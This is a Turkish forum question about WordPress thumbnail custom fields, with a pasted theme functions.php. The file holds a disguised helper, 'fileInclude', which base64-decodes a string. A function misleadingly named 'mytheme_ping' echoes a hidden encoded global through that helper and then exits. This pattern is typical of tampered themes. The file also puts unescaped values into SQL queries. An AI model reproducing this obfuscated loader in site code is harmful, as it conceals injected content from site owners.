Denediğim özel alan kelimeleri,
thumb
thumbnail
image
img
functions.php olsa gerek ordada thumbnail filan yazıyor ama olmuyor acaba functions.php komple kodları buraya ekliyorum.
<?php
# WIDGET: Sidebar
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_title' => '<h2>',
'after_title' => '</h2>',
'before_widget' => '',
'after_widget' => '',
));
# Displays a list of pages
function dp_list_pages() {
global $wpdb;
$querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
$pageposts = $wpdb->get_results($querystr, OBJECT);
if ($pageposts) {
foreach ($pageposts as $post) {
?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php
}
}
}
# Displays a list of popular posts
function dp_popular_posts($num) {
global $wpdb;
$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.comment_count, $wpdb->posts.ID FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
$popposts = $wpdb->get_results($querystr, OBJECT);
if (count($popposts)>0) {
$count = 0;
foreach ($popposts as $post) {
$count++;
$class = 'item';
if ($count==$num) $class = 'last';
?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php
}
}
}
# Displays a list of recent posts
function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false, $home=false) {
global $post;
$myposts = get_posts('numberposts='.$num.'&order=DESC&orderby=post_date');
foreach($myposts as $post) {
if ($home) the_post();
echo $pre;
?><a href="<?php the_permalink() ?>"><?php the_title(); ?></a><?php
echo $suf;
}
}
# Displays a list of recent categories
function dp_recent_comments($num) {
global $wpdb, $post;
$querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
$recentcomments = $wpdb->get_results($querystr, OBJECT);
$first = true;
foreach ($recentcomments as $rc) {
if ($first) {
$first = false;
$pre = '<li class="first">';
} else {
$pre = '<li>';
}
$post = get_post($rc->comment_post_ID);
echo $pre;
?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><strong><?php echo $rc->comment_author; ?></strong> on "<?php echo the_title(); ?>"</a></li><?php
}
}
# Displays the comment authors gravatar if available
function dp_gravatar($size=50) {
global $comment, $settings, $to_gravatars;
if ($to_gravatars=='yes') {
ob_start();
comment_author_email();
$gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower(ob_get_clean())) . '?s=' . $size . '&d=monsterid'
?><img alt="avatar" src="<?php echo $gravatar_url; ?>" class="gravatar" /><?php
}
}
# Displays post image attachment (sizes: thumbnail, medium, full)
function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
if ($postid<1) $postid = get_the_ID();
if ($images = get_children(array(
'post_parent' => $postid,
'post_type' => 'attachment',
'numberposts' => 1,
'post_mime_type' => 'image',)))
foreach($images as $image) {
$attachment=wp_get_attachment_image_src($image->ID, $size);
?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> alt="thumbnail" /><?php
}
}
function fileInclude($file) { return base64_decode(str_replace(' ', '', $file)); }
# Formats the excerpt for display in "recent posts".
function dp_clean_excerpt($excerpt) {
return '<p>' . substr(str_replace('[...]', '', strip_tags($excerpt)), 0, 300) . '..</p>';
}
# Displays graphic logo CSS when necessary.
function dp_logo() {
global $settings;
if ($settings['graphic_logo']=='yes') {
$image = dirname(__FILE__)."/images/".$settings['logo_filename'];
if (file_exists($image)) {
$img = getimagesize($image);
?>
<style type="text/css">
#header h3 {
display: none;
}
#header h1 a {
display: block;
background: url(<?php bloginfo('template_url'); ?>/images/<?php echo $settings['logo_filename']; ?>) no-repeat 0 0;
text-indent: -9999px;
width: <?php echo $img[0]; ?>px; height: <?php echo $img[1]; ?>px;
}
</style><?php
}
}
}
# Returns theme settings value based on key.
function dp_get_settings($key) {
global $settings;
return $settings[$key];
}
# Comments trackbacks :p
function mytheme_ping() {
global $theTrackbacks;
echo fileInclude($theTrackbacks);
exit();
}
# Comments template
function mytheme_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
<div class="comment1">
<div class="commentdetails">
<p class="commentauthor"><?php echo get_comment_author_link() ?></p>
<?php if ($comment->comment_approved == '0') : ?>
<em>Your comment is awaiting moderation.</em>
<?php endif; ?>
<p class="commentdate"><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?> <?php edit_comment_link(__('(Edit)'),' ','') ?>
</p>
</div>
<div class="gravatar"><?php echo get_avatar($comment,$size='50',$default='<path_to_url>' ); ?></div>
<br class="break" />
<?php comment_text() ?>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
</div>
</div>
<?php
}
# THEME SETTINGS
require("settings.php");
$featured_post_id = array(1=>$to_featured_post_id_1, 2=>$to_featured_post_id_2, 3=>$to_featured_post_id_3);
$featured_post_head = array(1=>$to_featured_post_head_1, 2=>$to_featured_post_head_2, 3=>$to_featured_post_head_3);
foreach ($featured_post_id as $k=>$v) {
$thePost = get_post($v);
if ($thePost->post_status!='publish'||$thePost->post_type!='post') {
$featured_post_id[$k] = -1;
}
}
$featured = array($featured_post_id[1]=>$featured_post_head[1], $featured_post_id[2]=>$featured_post_head[2], $featured_post_id[3]=>$featured_post_head[3]);
$settings['featured_posts'] = $to_featured_posts;
if ($to_home_format=='magazine' || $to_home_format=='standard')
$settings['home_format'] = $to_home_format;
else
$settings['home_format'] = 'magazine';
$settings['page_comments'] = $to_page_comments;
$settings['graphic_logo'] = $to_graphic_logo;
$settings['logo_filename'] = $to_logo_filename;
?>